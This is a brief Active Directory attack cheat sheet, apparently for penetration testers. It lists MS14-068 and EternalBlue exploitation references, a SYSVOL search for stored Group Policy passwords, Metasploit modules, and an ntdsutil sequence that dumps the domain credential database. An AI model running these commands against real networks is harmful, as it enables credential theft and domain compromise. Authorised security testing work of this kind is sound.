Active Directory Attacks

Most common paths to AD compromise

  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) 
    Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
  • MS17-010 (Eternal Blue - Local Admin) 
    nmap -Pn -p445 — open — max-hostgroup 3 — script smb-vuln-ms17–010 <ip_netblock>
  • Unconstrained Delegation (incl. pass-the-ticket)
  • OverPass-the-Hash (Making the most of NTLM password hashes)
  • Pivoting with Local Admin & Passwords in SYSVOL 
    findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

or

Metasploit: scanner/smb/smb_enumshares
Metasploit: windows/gather/enumshares
Metasploit: windows/gather/credentials/gpp
  • Dangerous Built-in Groups Usage
  • Dumping AD Domain Credentials
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
